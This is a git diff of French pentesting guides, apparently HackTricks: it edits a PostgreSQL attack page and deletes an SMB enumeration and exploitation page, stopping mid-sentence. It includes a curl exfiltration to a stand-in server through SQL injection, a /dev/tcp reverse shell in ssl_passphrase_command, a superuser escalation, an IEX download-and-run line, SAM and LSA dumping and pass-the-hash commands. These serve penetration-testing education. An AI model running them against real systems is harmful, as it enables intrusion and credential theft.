Seuls les **super utilisateurs** et les **utilisateurs avec des permissions explicites** peuvent les utiliser : +Il existe **d'autres fonctions postgres** qui peuvent être utilisées pour **lire un fichier ou lister un répertoire**. Seuls les **super utilisateurs** et **les utilisateurs avec des permissions explicites** peuvent les utiliser : ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres @@ -280,8 +279,6 @@ Cependant, il existe **d'autres techniques pour télécharger de gros fichiers b ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} - - ### Mise à jour des données de la table PostgreSQL via l'écriture de fichiers locaux Si vous avez les permissions nécessaires pour lire et écrire des fichiers sur le serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en **écrasant le nœud de fichier associé** dans [le répertoire de données PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Plus sur cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -302,7 +299,7 @@ SELECT setting FROM pg_settings WHERE name = 'data_directory'; SELECT pg_relation_filepath('{TABLE_NAME}') ``` -Cette requête devrait renvoyer quelque chose comme `base/3/1337`. Le chemin complet sur le disque sera `$DATA_DIRECTORY/base/3/1337`, c'est-à-dire `/var/lib/postgresql/13/main/base/3/1337`. +Cette requête devrait retourner quelque chose comme `base/3/1337`. Le chemin complet sur le disque sera `$DATA_DIRECTORY/base/3/1337`, c'est-à-dire `/var/lib/postgresql/13/main/base/3/1337`. 3. Téléchargez le nœud de fichier via les fonctions `lo_*` @@ -365,7 +362,7 @@ Depuis [la version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), s ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Exemple à exécuter : +Exemple d'exécution : ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -406,10 +403,10 @@ Une fois que vous avez **appris** dans le post précédent **comment télécharg ### Fichier de configuration PostgreSQL RCE -> [!NOTE] +> [!TIP] > Les vecteurs RCE suivants sont particulièrement utiles dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des instructions SELECT imbriquées. -Le **fichier de configuration** de PostgreSQL est **écrivable** par l'**utilisateur postgres**, qui est celui qui exécute la base de données, donc en tant que **superutilisateur**, vous pouvez écrire des fichiers dans le système de fichiers, et donc vous pouvez **écraser ce fichier.** +Le **fichier de configuration** de PostgreSQL est **écrivable** par l'**utilisateur postgres**, qui est celui qui exécute la base de données, donc en tant que **superutilisateur**, vous pouvez écrire des fichiers dans le système de fichiers, et par conséquent, vous pouvez **écraser ce fichier.** ![](<../images/image (322).png>) @@ -430,7 +427,7 @@ Ensuite, un attaquant devra : 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Écraser** 4. **Extraire** la **configuration** actuelle de postgresql -5. **Écraser** la **configuration** avec la configuration des attributs mentionnés : +5. **Écraser** la **configuration** avec les attributs mentionnés : 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. Exécuter `pg_reload_conf()` @@ -519,7 +516,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so 6. Téléchargez le `postgresql.conf` malveillant, créé dans les étapes 2-3, et écrasez l'original 7. Téléchargez le `payload.so` de l'étape 5 dans le répertoire `/tmp` 8. Rechargez la configuration du serveur en redémarrant le serveur ou en invoquant la requête `SELECT pg_reload_conf()` -9. À la prochaine connexion à la base de données, vous recevrez la connexion de shell inversé. +9. Lors de la prochaine connexion à la DB, vous recevrez la connexion de shell inversé. ## **Postgres Privesc** @@ -529,7 +526,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so Selon les [**docs**](https://www.postgresql.org/docs/13/sql-grant.html) : _Les rôles ayant le privilège **`CREATEROLE`** peuvent **accorder ou révoquer l'appartenance à tout rôle** qui **n'est pas** un **superutilisateur**._ -Donc, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateur) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes : +Donc, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateurs) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes : ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -547,11 +544,11 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER -Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. Par conséquent, une fois que vous avez obtenu **les autorisations pour exécuter du code**, vous pouvez abuser de ces autorisations pour vous accorder le rôle **`SUPERUSER`** : +Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. Par conséquent, une fois que vous avez obtenu **les permissions d'exécuter du code**, vous pouvez abuser de ces permissions pour vous accorder le rôle **`SUPERUSER`** : ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > Cela est généralement possible en raison des lignes suivantes dans le fichier **`pg_hba.conf`** : > > ```bash @@ -582,8 +579,8 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); 1. Commencez par créer une nouvelle table. 2. Insérez du contenu non pertinent dans la table pour fournir des données à la fonction d'index. 3. Développez une fonction d'index malveillante contenant un payload d'exécution de code, permettant l'exécution de commandes non autorisées. -4. ALTER le propriétaire de la table à "cloudsqladmin," qui est le rôle superutilisateur de GCP utilisé exclusivement par Cloud SQL pour gérer et maintenir la base de données. -5. Effectuez une opération ANALYZE sur la table. Cette action oblige le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin." Par conséquent, la fonction d'index malveillante est appelée avec les permissions de "cloudsqladmin," permettant ainsi l'exécution de la commande shell précédemment non autorisée. +4. ALTER le propriétaire de la table à "cloudsqladmin", qui est le rôle superutilisateur de GCP utilisé exclusivement par Cloud SQL pour gérer et maintenir la base de données. +5. Effectuez une opération ANALYZE sur la table. Cette action oblige le moteur PostgreSQL à passer au contexte utilisateur du propriétaire de la table, "cloudsqladmin." Par conséquent, la fonction d'index malveillante est appelée avec les permissions de "cloudsqladmin", permettant ainsi l'exécution de la commande shell précédemment non autorisée. Dans PostgreSQL, ce flux ressemble à ceci : ```sql @@ -610,9 +607,9 @@ Ensuite, la table `shell_commands_results` contiendra la sortie du code exécut ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` -### Connexion Locale +### Connexion locale -Certaines instances postgresql mal configurées peuvent permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter localement depuis 127.0.0.1 en utilisant la **`dblink` function** : +Certaines instances postgresql mal configurées pourraient permettre la connexion de n'importe quel utilisateur local, il est possible de se connecter localement depuis 127.0.0.1 en utilisant la **`dblink` function**: ```sql \du * # Get Users \l # Get databases @@ -643,7 +640,7 @@ Il est possible de vérifier si cette fonction existe avec : ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` -### **Fonction définie sur mesure avec** SECURITY DEFINER +### **Fonction définie par l'utilisateur avec** SECURITY DEFINER [**Dans cet article**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), les pentesters ont pu obtenir un accès privilégié à une instance postgres fournie par IBM, car ils **ont trouvé cette fonction avec le drapeau SECURITY DEFINER** : @@ -680,7 +677,7 @@ Et ensuite, **exécutez des commandes** : ### Passer le Brute-force avec PL/pgSQL -**PL/pgSQL** est un **langage de programmation complet** qui offre un meilleur contrôle procédural par rapport à SQL. Il permet l'utilisation de **boucles** et d'autres **structures de contrôle** pour améliorer la logique du programme. De plus, les **instructions SQL** et les **triggers** ont la capacité d'invoquer des fonctions créées à l'aide du **langage PL/pgSQL**. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l'automatisation des bases de données.\ +**PL/pgSQL** est un **langage de programmation complet** qui offre un meilleur contrôle procédural par rapport à SQL. Il permet l'utilisation de **boucles** et d'autres **structures de contrôle** pour améliorer la logique du programme. De plus, les **instructions SQL** et les **déclencheurs** ont la capacité d'invoquer des fonctions créées à l'aide du **langage PL/pgSQL**. Cette intégration permet une approche plus complète et polyvalente de la programmation et de l'automatisation des bases de données.\ **Vous pouvez abuser de ce langage pour demander à PostgreSQL de brute-forcer les identifiants des utilisateurs.** {{#ref}} @@ -689,7 +686,7 @@ Et ensuite, **exécutez des commandes** : ### Privesc en Écrasant les Tables Internes de PostgreSQL -> [!NOTE] +> [!TIP] > Le vecteur de privesc suivant est particulièrement utile dans des contextes SQLi contraints, car toutes les étapes peuvent être effectuées via des instructions SELECT imbriquées. Si vous pouvez **lire et écrire des fichiers du serveur PostgreSQL**, vous pouvez **devenir un superutilisateur** en écrasant le filenode sur disque de PostgreSQL, associé à la table interne `pg_authid`. @@ -703,7 +700,7 @@ Les étapes de l'attaque sont : 3. Téléchargez le filenode via les fonctions `lo_*` 4. Obtenez le type de données, associé à la table `pg_authid` 5. Utilisez l'[Éditeur de Filenode PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) pour [éditer le filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table) ; définissez tous les drapeaux booléens `rol*` à 1 pour des permissions complètes. -6. Ré-upload le filenode édité via les fonctions `lo_*`, et écrasez le fichier original sur le disque +6. Ré-uploadez le filenode édité via les fonctions `lo_*`, et écrasez le fichier original sur le disque 7. _(Optionnel)_ Effacez le cache de la table en mémoire en exécutant une requête SQL coûteuse 8. Vous devriez maintenant avoir les privilèges d'un superadmin complet. @@ -731,7 +728,7 @@ Ensuite, **redémarrez le service**. ### pgadmin [pgadmin](https://www.pgadmin.org) est une plateforme d'administration et de développement pour PostgreSQL.\ -Vous pouvez trouver **des mots de passe** à l'intérieur du fichier _**pgadmin4.db**_\ +Vous pouvez trouver des **mots de passe** à l'intérieur du fichier _**pgadmin4.db**_\ Vous pouvez les déchiffrer en utilisant la fonction _**decrypt**_ à l'intérieur du script : [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md deleted file mode 100644 index f2bfcaeca..000000000 --- a/src/network-services-pentesting/pentesting-smb.md +++ /dev/null @@ -1,532 +0,0 @@ -# 139,445 - Pentesting SMB - -{{#include ../banners/hacktricks-training.md}} - -## **Port 139** - -Le _**Network Basic Input Output System**_** (NetBIOS)** est un protocole logiciel conçu pour permettre aux applications, PC et bureaux au sein d'un réseau local (LAN) d'interagir avec le matériel réseau et **faciliter la transmission de données à travers le réseau**. L'identification et la localisation des applications logicielles fonctionnant sur un réseau NetBIOS se font par leurs noms NetBIOS, qui peuvent avoir jusqu'à 16 caractères de long et sont souvent distincts du nom de l'ordinateur. Une session NetBIOS entre deux applications est initiée lorsqu'une application (agissant en tant que client) émet une commande pour "appeler" une autre application (agissant en tant que serveur) en utilisant **TCP Port 139**. -``` -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -``` -## Port 445 - -Techniquement, le port 139 est désigné comme ‘NBT over IP’, tandis que le port 445 est identifié comme ‘SMB over IP’. L'acronyme **SMB** signifie ‘**Server Message Blocks**’, qui est également connu de manière moderne sous le nom de **Common Internet File System (CIFS)**. En tant que protocole réseau de couche application, SMB/CIFS est principalement utilisé pour permettre un accès partagé aux fichiers, imprimantes, ports série, et faciliter diverses formes de communication entre les nœuds sur un réseau. - -Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonctionner directement sur TCP/IP, éliminant la nécessité de NetBIOS sur TCP/IP, grâce à l'utilisation du port 445. En revanche, sur différents systèmes, l'utilisation du port 139 est observée, indiquant que SMB est exécuté en conjonction avec NetBIOS sur TCP/IP. -``` -445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) -``` -### SMB - -Le **Server Message Block (SMB)** protocole, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série de systèmes d'exploitation **Windows**, SMB assure la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant avec des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB. - -Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** sur les permissions des utilisateurs, y compris des attributs comme **`execute`**, **`read`** et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs ou groupes individuels, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur. - -### IPC$ Share - -L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec des services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir : - -- Informations sur le système d'exploitation -- Détails sur le domaine parent -- Une compilation des utilisateurs et groupes locaux -- Informations sur les partages SMB disponibles -- La politique de sécurité système effective - -Cette fonctionnalité est critique pour les administrateurs réseau et les professionnels de la sécurité afin d'évaluer la posture de sécurité des services SMB (Server Message Block) sur un réseau. `enum4linux` fournit une vue d'ensemble complète de l'environnement SMB du système cible, ce qui est essentiel pour identifier les vulnérabilités potentielles et garantir que les services SMB sont correctement sécurisés. -```bash -enum4linux -a target_ip -``` -La commande ci-dessus est un exemple de la façon dont `enum4linux` pourrait être utilisé pour effectuer une énumération complète contre une cible spécifiée par `target_ip`. - -## Qu'est-ce que NTLM - -Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela fonctionne et comment en abuser, vous trouverez très intéressant cette page sur **NTLM** où il est expliqué **comment ce protocole fonctionne et comment vous pouvez en tirer parti :** - -{{#ref}} -../windows-hardening/ntlm/ -{{#endref}} - -## **Énumération du serveur** - -### **Scanner** un réseau à la recherche d'hôtes : -```bash -nbtscan -r 192.168.0.1/24 -``` -### Version du serveur SMB - -Pour rechercher d'éventuels exploits pour la version SMB, il est important de savoir quelle version est utilisée. Si cette information n'apparaît pas dans d'autres outils utilisés, vous pouvez : - -- Utiliser le module auxiliaire **MSF** _**auxiliary/scanner/smb/smb_version**_ -- Ou ce script : -```bash -#!/bin/sh -#Author: rewardone -#Description: -# Requires root or enough permissions to use tcpdump -# Will listen for the first 7 packets of a null login -# and grab the SMB Version -#Notes: -# Will sometimes not capture or will print multiple -# lines. May need to run a second time for success. -if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi -if [ ! -z $2 ]; then rport=$2; else rport=139; fi -tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & -echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null -echo "" && sleep .1 -``` -### **Recherche d'exploit** -```bash -msf> search type:exploit platform:windows target:2008 smb -searchsploit microsoft smb -``` -### **Identifiants** Possibles - -| **Nom d'utilisateur(s)** | **Mots de passe courants** | -| ------------------------- | ------------------------------------------ | -| _(vide)_ | _(vide)_ | -| invité | _(vide)_ | -| Administrateur, admin | _(vide)_, mot de passe, administrateur, admin | -| arcserve | arcserve, sauvegarde | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, sauvegarde, arcada | -| test, lab, démo | mot de passe, test, lab, démo | - -### Force Brute - -- [**Force Brute SMB**](../generic-methodologies-and-resources/brute-force.md#smb) - -### Informations sur l'environnement SMB - -### Obtenir des informations -```bash -#Dump interesting information -enum4linux -a [-u "" -p ""] -enum4linux-ng -A [-u "" -p ""] -nmap --script "safe or smb-enum-*" -p 445 - -#Connect to the rpc -rpcclient -U "" -N #No creds -rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash -rpcclient -U "username%passwd" #With creds -#You can use querydispinfo and enumdomusers to query user information - -#Dump user information -/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] - -#Map possible RPC endpoints -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] -/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] -``` -### Énumérer les utilisateurs, groupes et utilisateurs connectés - -Ces informations devraient déjà être collectées à partir de enum4linux et enum4linux-ng. -```bash -crackmapexec smb 10.10.10.10 --users [-u -p ] -crackmapexec smb 10.10.10.10 --groups [-u -p ] -crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] - -ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " - -rpcclient -U "" -N 10.10.10.10 -enumdomusers -enumdomgroups -``` -### Énumérer les utilisateurs locaux - -[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) -```bash -lookupsid.py -no-pass hostname.local -``` -Ligne unique -```bash -for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done -``` -### Metasploit - Énumérer les utilisateurs locaux -```bash -use auxiliary/scanner/smb/smb_lookupsid -set rhosts hostname.local -run -``` -### **Énumération de LSARPC et SAMR rpcclient** - -{{#ref}} -pentesting-smb/rpcclient-enumeration.md -{{#endref}} - -### Connexion GUI depuis linux - -#### Dans le terminal : - -`xdg-open smb://cascade.htb/` - -#### Dans la fenêtre de l'explorateur de fichiers (nautilus, thunar, etc) - -`smb://friendzone.htb/general/` - -## Énumération des dossiers partagés - -### Lister les dossiers partagés - -Il est toujours recommandé de vérifier si vous pouvez accéder à quoi que ce soit, si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**. -```bash -smbclient --no-pass -L // # Null user -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash - -smbmap -H [-P ] #Null user -smbmap -u "username" -p "password" -H [-P ] #Creds -smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash -smbmap -R -u "username" -p "password" -H [-P ] #Recursive list - -crackmapexec smb -u '' -p '' --shares #Null user -crackmapexec smb -u 'username' -p 'password' --shares #Guest user -crackmapexec smb -u 'username' -H '' --shares #Guest user -``` -### **Se connecter/lister un dossier partagé** -```bash -#Connect using smbclient -smbclient --no-pass /// -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash -#Use --no-pass -c 'recurse;ls' to list recursively with smbclient - -#List with smbmap, without folder it list everything -smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list -smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list -smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash -``` -### **Énumérer manuellement les partages Windows et s'y connecter** - -Il se peut que vous soyez restreint dans l'affichage des partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Ainsi, il pourrait être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lors de l'utilisation d'une session valide (par exemple, une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès ou si le partage n'existe pas du tout. - -Les noms de partage courants pour les cibles Windows sont - -- C$ -- D$ -- ADMIN$ -- IPC$ -- PRINT$ -- FAX$ -- SYSVOL -- NETLOGON - -(Noms de partage courants de _**Network Security Assessment 3rd edition**_) - -Vous pouvez essayer de vous y connecter en utilisant la commande suivante -```bash -smbclient -U '%' -N \\\\\\ # null session to connect to a windows share -smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) -``` -ou ce script (utilisant une session nulle) -```bash -#/bin/bash - -ip='' -shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') - -for share in ${shares[*]}; do -output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') - -if [[ -z $output ]]; then -echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created -else -echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) -fi -done -``` -exemples -```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session -``` -### **Énumérer les partages depuis Windows / sans outils tiers** - -PowerShell -```bash -# Retrieves the SMB shares on the locale computer. -Get-SmbShare -Get-WmiObject -Class Win32_Share -# Retrieves the SMB shares on a remote computer. -get-smbshare -CimSession "" -# Retrieves the connections established from the local SMB client to the SMB servers. -Get-SmbConnection -``` -Console CMD -```shell -# List shares on the local computer -net share -# List shares on a remote computer (including hidden ones) -net view \\ /all -``` -MMC Snap-in (graphique) -```shell -# Shared Folders: Shared Folders > Shares -fsmgmt.msc -# Computer Management: Computer Management > System Tools > Shared Folders > Shares -compmgmt.msc -``` -explorer.exe (graphique), entrez `\\\` pour voir les partages disponibles non cachés. - -### Monter un dossier partagé -```bash -mount -t cifs //x.x.x.x/share /mnt/share -mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share -``` -### **Télécharger des fichiers** - -Lisez les sections précédentes pour apprendre comment se connecter avec des identifiants/Pass-the-Hash. -```bash -#Search a file and download -sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap -``` - -```bash -#Download all -smbclient /// -> mask "" -> recurse -> prompt -> mget * -#Download everything to current directory -``` -Commands: - -- mask: spécifie le masque utilisé pour filtrer les fichiers dans le répertoire (par exemple, "" pour tous les fichiers) -- recurse: active la récursivité (par défaut : désactivé) -- prompt: désactive l'invite pour les noms de fichiers (par défaut : activé) -- mget: copie tous les fichiers correspondant au masque de l'hôte vers la machine cliente - -(_Informations provenant de la page de manuel de smbclient_) - -### Recherche de dossiers partagés de domaine - -- [**Snaffler**](https://github.com/SnaffCon/Snaffler) -```bash -Snaffler.exe -s -d domain.local -o snaffler.log -v data -``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) araignée. -- `-M spider_plus [--share ]` -- `--pattern txt` -```bash -sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' -``` -Les fichiers appelés **`Registry.xml`** sont particulièrement intéressants car ils **peuvent contenir des mots de passe** pour les utilisateurs configurés avec **autologon** via la stratégie de groupe. Ou les fichiers **`web.config`** car ils contiennent des identifiants. - -- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) -- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` -- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` - -> [!NOTE] -> Le **partage SYSVOL** est **lisible** par tous les utilisateurs authentifiés dans le domaine. Vous pouvez y **trouver** de nombreux scripts batch, VBScript et PowerShell différents.\ -> Vous devriez **vérifier** les **scripts** à l'intérieur car vous pourriez **trouver** des informations sensibles telles que des **mots de passe**. - -## Lire le Registre - -Vous pourriez être en mesure de **lire le registre** en utilisant certains identifiants découverts. Impacket **`reg.py`** vous permet d'essayer : -```bash -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s -``` -## Post Exploitation - -La **configuration par défaut de** un **serveur Samba** se trouve généralement dans `/etc/samba/smb.conf` et peut avoir des **configurations dangereuses** : - -| **Paramètre** | **Description** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Autoriser l'affichage des partages disponibles dans le partage actuel ? | -| `read only = no` | Interdire la création et la modification de fichiers ? | -| `writable = yes` | Autoriser les utilisateurs à créer et modifier des fichiers ? | -| `guest ok = yes` | Autoriser la connexion au service sans utiliser de mot de passe ? | -| `enable privileges = yes` | Honorer les privilèges attribués à un SID spécifique ? | -| `create mask = 0777` | Quels droits doivent être attribués aux fichiers nouvellement créés ? | -| `directory mask = 0777` | Quels droits doivent être attribués aux répertoires nouvellement créés ? | -| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? | -| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se ferme ? | -| `magic output = script.out` | Où la sortie du script magique doit-elle être stockée ? | - -La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**. - -## Authenticate using Kerberos - -Vous pouvez **vous authentifier** à **kerberos** en utilisant les outils **smbclient** et **rpcclient** : -```bash -smbclient --kerberos //ws01win10.domain.com/C$ -rpcclient -k ws01win10.domain.com -``` -## **Exécuter des commandes** - -### **crackmapexec** - -crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, wmiexec étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`: -```bash -apt-get install crackmapexec - -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd -crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash -# Using --exec-method {mmcexec,smbexec,atexec,wmiexec} - -crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM -crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes -crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( -crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users -crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks -crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users -crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups -crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups -crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy -crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute - -crackmapexec smb -d -u Administrator -H #Pass-The-Hash -``` -### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) - -Les deux options vont **créer un nouveau service** (en utilisant _\pipe\svcctl_ via SMB) sur la machine victime et l'utiliser pour **exécuter quelque chose** (**psexec** va **télécharger** un fichier exécutable sur le partage ADMIN$ et **smbexec** va pointer vers **cmd.exe/powershell.exe** et mettre dans les arguments le payload --**technique sans fichier-**-).\ -**Plus d'infos** sur [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)et [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ -Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/ -```bash -#If no password is provided, it will be prompted -./psexec.py [[domain/]username[:password]@] -./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -psexec \\192.168.122.66 -u Administrator -p 123456Ww -psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash -``` -Utiliser **le paramètre** `-k` vous permet de vous authentifier contre **kerberos** au lieu de **NTLM**. - -### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec - -Exécutez discrètement un shell de commande sans toucher au disque ni exécuter un nouveau service en utilisant DCOM via **le port 135.**\ -Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/ -```bash -#If no password is provided, it will be prompted -./wmiexec.py [[domain/]username[:password]@] #Prompt for password -./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -En utilisant **parameter**`-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**. -```bash -#If no password is provided, it will be prompted -./dcomexec.py [[domain/]username[:password]@] -./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -### [AtExec](../windows-hardening/ntlm/atexec.md) - -Exécutez des commandes via le Planificateur de tâches (en utilisant _\pipe\atsvc_ via SMB).\ -Dans **kali**, il est 